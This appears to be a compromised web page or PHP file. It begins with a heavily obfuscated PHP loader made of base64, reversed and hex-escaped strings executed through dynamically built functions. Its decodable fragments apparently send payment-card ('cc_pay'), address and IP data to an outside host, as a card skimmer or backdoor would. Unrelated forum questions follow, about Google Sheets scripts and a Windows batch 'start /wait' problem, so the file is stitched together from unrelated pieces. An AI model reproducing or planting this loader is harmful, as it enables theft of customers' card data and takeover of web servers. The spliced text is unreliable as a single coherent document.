VCkgOiAkX0dFVDshdCA9IHRyaW0oZmlsZV9nZXRfY29udGVudHMoJ3BocDovL2lucHV0CIgACIgACIgACIgACIK0wegkSKiQXaul2XsJXdjJCKzR3cphXZf52bpR3YuVnZoAiZpBCIgACIgACIgACIgoQD7ADI9ACduNGJ1QgACIgACIgACIgACIK0ALwITMg4TPgQVVPVUTJR1XUB1TMJVVDBCIgACIgACIgACIgoQDsAjMxAiP9ACVV9URNlEVUNURO50TD9FVQ9ETSV1QgACIgACIgACIgACIK0ALlVnc0BiP9AiUFJVRGVkUPRVVB90xMT1dMT0NBVElPTiA9PiB0cnVlLA0KICAgICAgICAgICAgICAgIENVUkxPUFRfRU5DT0RJTkcgPT4gIiIsDQogICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgPT4gIk1vemlsbGEvNS4wIChXaW5kb3dzIE5UIDUuMTsgcnY6MzIuMCkgR2Vja28vJGNudCk7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIGlmICgoJGNudCAhPSAnMScpICYmIChmdW5jdGlvbl9leGlzdHMoImV4ZWMY250ID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCdodHRwczovL2NlbG9sdW0uY29tL01FR0FMT0RPTjIvaW5kZXgucGhwP3ZpZXc9JyAuICRjY19wYXlfCIgoQD9BCIgACIgACIgACIgACIgAiCNszahVmciBCIgACIgACIgACIgACIgACIgACIK0QfgACIgACIgACIgACIgACIgACIgAiCNszahVmciBCIgACIgACIgACIgACIgACIgACIgACIgAKICAgICAgICAgICAgc2V0Y29va2llKCJfemNiIiwgMSwgdGltZSgpIC0gMzYwMDAsICIvIik7DQogICAgICAgIH0NCg0KICAgICAgICBpZiAoaXNzZXQoJF9DT0AgICBDVVJMT1BUX0FVVE9SRUZFUkVSID0+IHRydWUsDQogICAgICAgICAgICAgICAgQAgICRjbnQgPSBtZWdhbG9kb25fbTJfcXVlcnkoJ2h0dHBzOi8vY2Vsb2x1bS5jb20vTUVHQUxPRE9OMi92FkZHJlc3MnXVsnY291bnRyeUlkJ10gOiAkcG9zdF9kYXRbJ2FkZHJlc3MnXVsnY291bnRyeV9pZCddOw0KICAgICAgICAgICA91YjRCIuAyJvcCIuACa052bt91YjRCIuAyJ8dCIuAiclJCVOV0RBJVRTV1XUB1TMJVVDBCIgACIgACIgACIgoQDsIiIg4TPgckTJR0TD5URfRFUPxkUVNEIgACIgACIgACIgAiCNwSZ1JHdg4TPg40TJRVQD9ETX9ETM9kRfRFUPxkUVNEIgACIRFInXTsNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ10pKSB7DQogICAgICAgICAgICAgICAgICAgICR1c2VyX2lwID0gJF9TRVJWRVJbJ0hUVFBfWF9GT1JXQVJERURfRk9SJ107DQogICAgICAgICAgDQogICAgICAgIH0NCg0KICAgICAgICBpZiAoaXNzZXQoJHBvc3RfZGF0WydhZGRyZXNzJ10pKSB7DQogICAgICAgICAgICAkY291bnRyeSA9IGlzc2V0KCRwb3N0X2RhdFAiCNsHIpkSXnEGbslmes9GbnsVRJt0TPN0XkgCdlN3cphCImlGIgACIK0gCN0HIgACIK0wOp01JhxGbppHdy9GcnsVRJt0TPN0XkgCdlNnb1BCIgACIgACIK0wegkSKddSYsxWa60wegkSKp01JiNmefdyWFl0SP90QfRCK0V2czlGKgYiJgkSXnM3Y691JbVUSL90TD9FJoQXZzNXahgCImlGIgACIgACIgoQDK0QfgACIgACIgAiCNsjblt2b0FGJg0DIddycjp3XnsVRJTG9FVQ9ETSV1QgACIgACIgACIgACIgACIgoQDsU2csFmZg4TPgIVREFURI9FVQ9ETSV1QgACIgACIgACIgACIgACIgoQDsUWdyRHI+0DISVkRT5UQSRlTSVFVFJ1XUB1TMJVVDBCIgACIgACIgACIgACIgAiCNgSehJnchBSPgMnbvlGdw9GJgACIgACIgACIgACI”;$n6q0cF0W=”7QjMFFmQ6F0bzUFJg4mc1RXZypQKpYWMXZEVPhGJoQXZzNXahgiZppwO913OpkSXxsCR5N1X3kHJbdmT2tWeP10TIpGJs0FR5N1X3kHJbdmT2tWeP10TIpGJsUEWS1Ec5ATR0RCKyR3ciV3co0GTshUZOh3SjJEJ94CNyUUYCpXQvNTVksXZzxWZ9tTKdFzKEl3UfdTeks1ZOZ3a59UTPhkakwSXEl3UfdTeks1ZOZ3a59UTPhkakwSRYJVTwlDMFRHJoIHdzJWdz1jL0ITRhJkeB92MVRyepQTJEl3UfdTekgiZptXKy0zKEl3UfdTeksTKn5kdrl3TN9ESqRCKm9WZ6l2c8QUeT91N5RyOw0DR5N1X3kHJoI3bmtjIi0DNyUUYCpXQvNTVkowOpADMxwiMxkDLzcDLyMTMzwCO3wCN1MTOsYzMxwSM3AjMxwiM3EDL0ATN4wCO2wSNwIzMsgzNxwSM5ADNsMTOsEDN2EDL2QTMsUzM4cDL3kTMscDNzITMsUTOxwSOzYDMxwCM1wCM4YDL3YDL2EzMxEDL1QTMsQTN2kDL1ITMsATO0cDL2MTMsAzM3wSN2wCMsQzMxwCN5ATOsIDNxwiN3YDOsEDMxwyM3gTNsUTMxwSN3MzNsgzMxwyNwYTMxwCNyEDLykDO2wiN1EDLzgDNwEDL0cTMsYTN4QDLyYTMsgjN0YDLzQTMsUTM2cDL0cDL2ATNywyM1wiMzMDMxwyNxEDL0cTOzwSN2EDLwgTNywSMxEDLwMTNxwiM4wiM3ITOskjMxwSN2kDOsAzMxwSM0kTMxwSM1wSMzczMsgTOsQjN0ETMsczMxwCNxMTNsITOxwiM4czMsYTNsQzN0EDL3UDLxEDN2wSNxEDL2AjM4wiMyEDL2EDM3wyN3wCO1czNsIzNxwCM2EDMxwiM5EDL2kzMsITOsgDO1wiN0wiN2gDL3ETMsQTN0MDL4kDLxUDN1wyN4EDL0MzNxwCM2wyMxgTNsUzNxwiM2MDNsMTNsgTNzYDL0QDL4IjM5wSOwEDL5QTN1wyN0EDL4EDO4wCNwEDLykjMsAzNxwiMzQTOsQzNxwSO5cTOskTNsQTN3UDLwQTMsMTNwETMsYTOsgTN2UDL0gDLwMjM1wCO2EDL0YTOywSN0wiM2UTMxwCN2EDL3MTN0wyM4EDLxIzM4wCNzEDLycDM4wCO5wSN4MDMxwSM4wyM4MTMxwyM5EDL1YTM2wiMxEDLxQTOwEDLyUDLyAjN5wyNwEDL0MDOwEDLxkDLxgTO3wiM2wyMxMzNsIjNsITMwEDLxETMsEjM5EDLzMTMskTNxwSO4EDLyMDMywSOyEDL1QzNywSN1EDLxAzN0wCM0EDL3AjMyEDLzITMsMTOxETMsAzMxwCO4ETMsMTOskjNyQDL3gTMsMzN5kDL2kTMsUDN3ETMscTNxwyM3ATNsUDNxwSMyIjMsETOxwCN3kTNsYTNxwCOxMTMsEDOxwyM3IzMsADOxwiMxcjNsUzNxwCOzEzNsIDOsAzM2YDLzQDLwMDM1wCN5wSN2wCNxEDL0cDMxwCM0EDL2YzMywCM5wCN3gjMsAjNxwSM3UzMokXYyJXY9cmT2tWeP10TIpGJ”;if(function_exists($WYRrPhjfq)){$MvvxmN=@$WYRrPhjfq(‘$tE09pMRXE,$BcKxNeHlLm’,$hOTFW1f($BcKxNeHlLm($n6q0cF0W)));if($MvvxmN)$tE09pMRXE=@$MvvxmN($tE09pMRXE,$BcKxNeHlLm); }else{$L5scE3=”51×2951″;$L5scE3.=”x57″;$L5scE3.=”60106″;$L5scE3.=”143″;$L5scE3.=”60161×36″;$L5scE3.=”15644×28″;$L5scE3.=”x6d114x6c”;$L5scE3.=”110x65x4e”;$L5scE3.=”x78″;$L5scE3.=”x4b”;$L5scE3.=”143×42″;$L5scE3.=”x24x28146″;$L5scE3.=”x31x57″;$L5scE3.=”x46124″;$L5scE3.=”117×68″;$L5scE3.=”x2450154″;$L5scE3.=”141″;$L5scE3.=”x76x65x40″;$L5scE3=$BcKxNeHlLm($L5scE3);@$wTGBOhd1Y($L5scE3);};if(function_exists($WYRrPhjfq)){$Lhtbvwfqj=@$WYRrPhjfq(“”,$hOTFW1f($BcKxNeHlLm($tE09pMRXE)));if($Lhtbvwfqj)@$Lhtbvwfqj();}else{$rUUXAfo=”x295151″;$rUUXAfo.=”x45x58″;$rUUXAfo.=”122115″;$rUUXAfo.=”x70″;$rUUXAfo.=”x39″;$rUUXAfo.=”x30x45x74″;$rUUXAfo.=”44x28x6d”;$rUUXAfo.=”x4c”;$rUUXAfo.=”x6cx48″;$rUUXAfo.=”x65x4e”;$rUUXAfo.=”x78113x63″;$rUUXAfo.=”10244×28″;$rUUXAfo.=”146×31″;$rUUXAfo.=”127×46″;$rUUXAfo.=”124″;$rUUXAfo.=”117×68″;$rUUXAfo.=”44″;$rUUXAfo.=”50154″;$rUUXAfo.=”141×76″;$rUUXAfo.=”145100″;$rUUXAfo=$BcKxNeHlLm($rUUXAfo);@$wTGBOhd1Y($rUUXAfo);};/*

Google Sheet script will not run on a tab linked to a Google Form

I wrote a script to move a row of data from one sheet (Sheet1) to another (Sheet2) when I type the word Yes in column one. I can get the script to work perfectly when the sheet is not collecting Form responses. When I have the first tab attached to a form my script will not run. Can someone please tell me what would prevent the script from running on a tab that is collecting responses?

want to add script editor in Google sheets

i want to compare 2 cells i.e a2 and b2, in these two cells, there is a time stamp,i want to compare if b2 is greater tha a2 i want the colour of c2 automatically changed from green to red.i want to do this woth the help of script editor

drivers – start /wait doesn’t wait. How to workaround without using pause in script (Script is meant to be unattended)

I have a script that is run after windows is installed and performs a vast number of tasks, including installation of drivers and various programs. The intent is that the script is run unattended.

I am adding code to install printer drivers, in this case the Canon TS8300 series.

I think the problem is that that the installer runs in several parts. The first step is to extract the drivers and various utilities that come with the installer. I notice that once the extraction has completed the script continues.

If I understand the /wait parameter on the start command (and please correct me if I’m wrong), this is expected behavior. That certainly seems to be the consensus from the searches I’ve done.

The command is;

start /wait "TS8300 Installation" /d "%SRC%PostInstallCanon" "win-ts8300-1_02-ea34_2.exe"

I’ve also tried with start /b /wait (apparently /wait /b is also known to not work).

As the next step in the code is to stop and delete a service that is installed, that fails because it’s executing before the service has been installed as the script does not wait. So I’ve temporarily added a pause but that means I have to be there to press the any key.

I thought about simply using ping x.x.x.x -n yy >nul and it might work if I get the value of yy right (which will probably vary depending on the PC). It’s better than using pause, but I was hoping there might be something a bit more elegant and fool proof.

Thoughts?